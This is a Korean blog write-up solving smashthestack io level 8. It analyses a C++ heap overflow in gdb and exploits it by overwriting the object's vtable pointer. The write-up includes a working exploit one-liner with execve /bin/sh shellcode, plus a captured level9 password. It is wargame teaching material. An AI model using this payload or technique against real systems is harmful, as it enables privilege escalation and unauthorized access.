level8@io:~$ ls -l
total 28
-rw-r--r-- 1 level8 level8 27617 Jul 30 04:35 tags
smashthestack의 io문제를 마저 풀어보겠습니다.
-r-sr-x--- 1 level9 level8 6662 Jan 26 2012 level08
-r-sr-x--- 1 level9 level8 14343 Sep 17 2010 level08_alt
-r-------- 1 level8 level8 2355 May 29 2016 level08_alt.cpp
-r-------- 1 level8 level8 662 May 29 2016 level08.cpp
으악 또 cpp이군요.. 그래도 함 풀어봤으니 자신감을 갖고 해봤습니다..
// writen by bla for io.netgarage.org
#include <iostream>
#include <cstring>
#include <unistd.h>
class Number
{
public:
Number(int x) : number(x) {}
void setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}
virtual int operator+(Number &r) {return number + r.number;}
private:
char annotation[100];
int number;
};
int main(int argc, char **argv)
{
if(argc < 2) _exit(1);
Number *x = new Number(5);
Number *y = new Number(6);
Number &five = *x, &six = *y;
five.setAnnotation(argv[1]);
return six + five;
}
코드를 보니 Number객체에 대해서 먼저 봐야 할 것처럼 보입니다.
생성자로 x를 받으면 :를 사용하는 초기화 리스트를 이용해서 number를 x로 초기화시킵니다.
setAnnotation함수는 a를 받으면 annotation에 a를 그대로 memcpy 합니다. 여기서 a를 cpy 할 때를 보면 a의 길이를 그대로 사용하는 것을 알 수 있습니다. 이 부분이 매우 취약해 보이니 확인해두고 진행하겠습니다.
virtual은 가상 함수를 나타낸다고 합니다. operator+ 함수를 사용해서 main의 return에서 두 객체를 +하려고 할 때 저 함수가 발생하도록 했습니다. 즉 main의 return은 six + five.number가 되는 것입니다.
그럼 이쯤 알고 한번 gdb로 분석해보겠습니다.
c++이라서 깨지는 것을 막기 위해서 전에 사용했던 아래의 명령을 사용하겠습니다.
(gdb) set print asm-demangle on
gdb로 열면 다음과 같은 모습입니다.
(gdb) disas main
Dump of assembler code for function main:
0x08048694 <+0>: push %ebp
0x08048695 <+1>: mov %esp,%ebp
0x08048697 <+3>: and $0xfffffff0,%esp
0x0804869a <+6>: push %ebx
0x0804869b <+7>: sub $0x2c,%esp
0x0804869e <+10>: cmpl $0x1,0x8(%ebp)
0x080486a2 <+14>: jg 0x80486b0 <main+28>
0x080486a4 <+16>: movl $0x1,(%esp)
0x080486ab <+23>: call 0x804857c <_exit@plt>
0x080486b0 <+28>: movl $0x6c,(%esp)
0x080486b7 <+35>: call 0x80485bc <operator new(unsigned int)@plt>
0x080486bc <+40>: mov %eax,%ebx
0x080486be <+42>: mov %ebx,%eax
0x080486c0 <+44>: movl $0x5,0x4(%esp)
0x080486c8 <+52>: mov %eax,(%esp)
0x080486cb <+55>: call 0x804879e <Number::Number(int)>
0x080486d0 <+60>: mov %ebx,0x10(%esp)
0x080486d4 <+64>: movl $0x6c,(%esp)
0x080486db <+71>: call 0x80485bc <operator new(unsigned int)@plt>
0x080486e0 <+76>: mov %eax,%ebx
0x080486e2 <+78>: mov %ebx,%eax
0x080486e4 <+80>: movl $0x6,0x4(%esp)
0x080486ec <+88>: mov %eax,(%esp)
0x080486ef <+91>: call 0x804879e <Number::Number(int)>
0x080486f4 <+96>: mov %ebx,0x14(%esp)
0x080486f8 <+100>: mov 0x10(%esp),%eax
0x080486fc <+104>: mov %eax,0x18(%esp)
0x08048700 <+108>: mov 0x14(%esp),%eax
0x08048704 <+112>: mov %eax,0x1c(%esp)
0x08048708 <+116>: mov 0xc(%ebp),%eax
0x0804870b <+119>: add $0x4,%eax
0x0804870e <+122>: mov (%eax),%eax
0x08048710 <+124>: mov %eax,0x4(%esp)
0x08048714 <+128>: mov 0x18(%esp),%eax
0x08048718 <+132>: mov %eax,(%esp)
0x0804871b <+135>: call 0x80487b6 <Number::setAnnotation(char*)>
0x08048720 <+140>: mov 0x1c(%esp),%eax
0x08048724 <+144>: mov (%eax),%eax
0x08048726 <+146>: mov (%eax),%edx
0x08048728 <+148>: mov 0x18(%esp),%eax
0x0804872c <+152>: mov %eax,0x4(%esp)
0x08048730 <+156>: mov 0x1c(%esp),%eax
0x08048734 <+160>: mov %eax,(%esp)
0x08048737 <+163>: call *%edx
0x08048739 <+165>: add $0x2c,%esp
0x0804873c <+168>: pop %ebx
0x0804873d <+169>: mov %ebp,%esp
0x0804873f <+171>: pop %ebp
0x08048740 <+172>: ret
End of assembler dump.
아래의 부분을 보면 six의 위치와 five의 위치를 확인할 수 있습니다.
0x08048728 <+148>: mov 0x18(%esp),%eax
0x0804872c <+152>: mov %eax,0x4(%esp)
0x08048730 <+156>: mov 0x1c(%esp),%eax
0x08048734 <+160>: mov %eax,(%esp)
아래의 부분을 보면 x와 y의 정보를 알 수 있습니다.
0x080486b0 <+28>: movl $0x6c,(%esp)
0x080486b7 <+35>: call 0x80485bc <operator new(unsigned int)@plt>
0x080486bc <+40>: mov %eax,%ebx
0x080486be <+42>: mov %ebx,%eax
0x080486c0 <+44>: movl $0x5,0x4(%esp)
0x080486c8 <+52>: mov %eax,(%esp)
0x080486cb <+55>: call 0x804879e <Number::Number(int)>
0x080486d0 <+60>: mov %ebx,0x10(%esp)
0x080486d4 <+64>: movl $0x6c,(%esp)
0x080486db <+71>: call 0x80485bc <operator new(unsigned int)@plt>
0x080486e0 <+76>: mov %eax,%ebx
0x080486e2 <+78>: mov %ebx,%eax
0x080486e4 <+80>: movl $0x6,0x4(%esp)
0x080486ec <+88>: mov %eax,(%esp)
0x080486ef <+91>: call 0x804879e <Number::Number(int)>
0x080486f4 <+96>: mov %ebx,0x14(%esp)
각각 esp+0x10과 esp+0x14에 옮겨지는 것을 볼 수 있습니다. ebp가 기준이 아닌 esp가 기준이기 때문에 위치를 파악해 보겠습니다. (물론 sub로 esp 옮기는 것을 볼 수 있지만..)
(gdb) b *main+100
Breakpoint 1 at 0x80486f8
(gdb) r AAAAAAAAAAAAAAAA
Starting program: /levels/level08 AAAAAAAAAAAAAAAA
Breakpoint 1, 0x080486f8 in main ()
(gdb) x/2x $esp+0x10
0xbffffc40: 0x0804ea10 0x0804ea80
(gdb) c
Continuing.
Breakpoint 2, 0x08048720 in main ()
(gdb) x/4x $esp+0x10
0xbffffc40: 0x0804ea10 0x0804ea80 0x0804ea10 0x0804ea80
five와 six도 esp기준으로 +0x18, +0x1c이기 때문에 확인을 같이해본 결과 역시나 같은 주소를 갖게 되었습니다.
setAnnotation을 five에 대해서 했기 때문에 x에 대해서도 마찬가지로 적용될 것입니다.
A를 16개 인자로 넣어준 후 five의 setAnnotation함수를 실행한 뒤 0x0804ea10을 들어가봤습니다.
(gdb) x/64x 0x804ea10
0x804ea10: 0x080488c8 0x41414141 0x41414141 0x41414141
0x804ea20: 0x41414141 0x00000000 0x00000000 0x00000000
0x804ea30: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ea40: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ea50: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ea60: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ea70: 0x00000000 0x00000000 0x00000005 0x00000071
0x804ea80: 0x080488c8 0x00000000 0x00000000 0x00000000
0x804ea90: 0x00000000 0x00000000 0x00000000 0x00000000
0x804eaa0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804eab0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804eac0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ead0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804eae0: 0x00000000 0x00000000 0x00000006 0x00020519
5와 6이 들어가있는 게 보이고, annotation에 들어간 값은 각각이 가리키는 값 +4부터 들어간다는 것을 확인할 수 있었습니다. 마지막에 return이 얼마가 될지 한번 보겠습니다.
0x80487e2 <Number::operator+(Number&)>: push %ebp
0x80487e3 <Number::operator+(Number&)+1>: mov %esp,%ebp
0x80487e5 <Number::operator+(Number&)+3>: mov 0x8(%ebp),%eax
0x80487e8 <Number::operator+(Number&)+6>: mov 0x68(%eax),%edx
0x80487eb <Number::operator+(Number&)+9>: mov 0xc(%ebp),%eax
0x80487ee <Number::operator+(Number&)+12>: mov 0x68(%eax),%eax
0x80487f1 <Number::operator+(Number&)+15>: lea (%edx,%eax,1),%eax
0x80487f4 <Number::operator+(Number&)+18>: pop %ebp
0x80487f5 <Number::operator+(Number&)+19>: ret
음 six와 five의 number값을 더해서 eax에 넣기만 하네요..?
A로 한번 y의 첫 주소(0x804ea80)를 덮어써보겠습니다.
(gdb) x/64wx 0x804ea10
0x804ea10: 0x080488c8 0x41414141 0x41414141 0x41414141
0x804ea20: 0x41414141 0x41414141 0x41414141 0x41414141
0x804ea30: 0x41414141 0x41414141 0x41414141 0x41414141
0x804ea40: 0x41414141 0x41414141 0x41414141 0x41414141
0x804ea50: 0x41414141 0x41414141 0x41414141 0x41414141
0x804ea60: 0x41414141 0x41414141 0x41414141 0x41414141
0x804ea70: 0x41414141 0x41414141 0x41414141 0x41414141
0x804ea80: 0x41414141 0x00000000 0x00000000 0x00000000
0x804ea90: 0x00000000 0x00000000 0x00000000 0x00000000
0x804eaa0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804eab0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804eac0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ead0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804eae0: 0x00000000 0x00000000 0x00000006 0x00020519
0x804eaf0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804eb00: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/wx 0x8048726
0x8048726 <main+146>: 0x448b108b
segfault가 발생한 부분을 보니까 edx를 설정하는 부분입니다! 뒤에 보면 edx를 호출하는 부분이 있기 때문에 이 부분이 virtual int operator+부분인 거 같습니다. 그런데 ret부분을 고칠게 아니라 이 부분만 고쳐도 될 것 같습니다!
(gdb) x/x 0x80488c8
0x80488c8 <vtable for Number+8>: 0x080487e2
(gdb) x/x 0x80487e2
0x80487e2 <Number::operator+(Number&)>: 0x8be58955
이런 구조로 되어있기 때문에 memcpy시에 0x804ea80에 0x804ea14를 넣고, 0x804ea14에서는 0x804ea18을 넣고, 0x804ea18부터는 쉘 코드를 포함해서 넣으면 될 것 같습니다!!
여기까지 오는데 이렇게 오래 걸리다뇨ㅠㅠㅠㅠㅠ 아직 너무 부족합니다..
level8@io:/levels$ /levels/level08 `python -c 'print "\x18\xea\x04\x08" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90" * 80 + "\x14\xea\x04\x08"'`
sh-4.3$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1008(level8),1029(nosu)
sh-4.3$ cat /home/level9/.pass
ise9uHhjOhZd0K4G
저번에 사용했던 23바이트 쉘 코드는 왜인지 안되어서 24바이트짜리로 가져왔습니다!
쉘 코드 (24 bytes) : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다
'pwnable > smashthestack - io' 카테고리의 다른 글
[smashthestack - io] level7 write up (0) | 2019.08.21 |
---|---|
[smashthestack - io] level6 write up (0) | 2019.08.21 |
[smashthestack - io] level5 write up (0) | 2019.08.15 |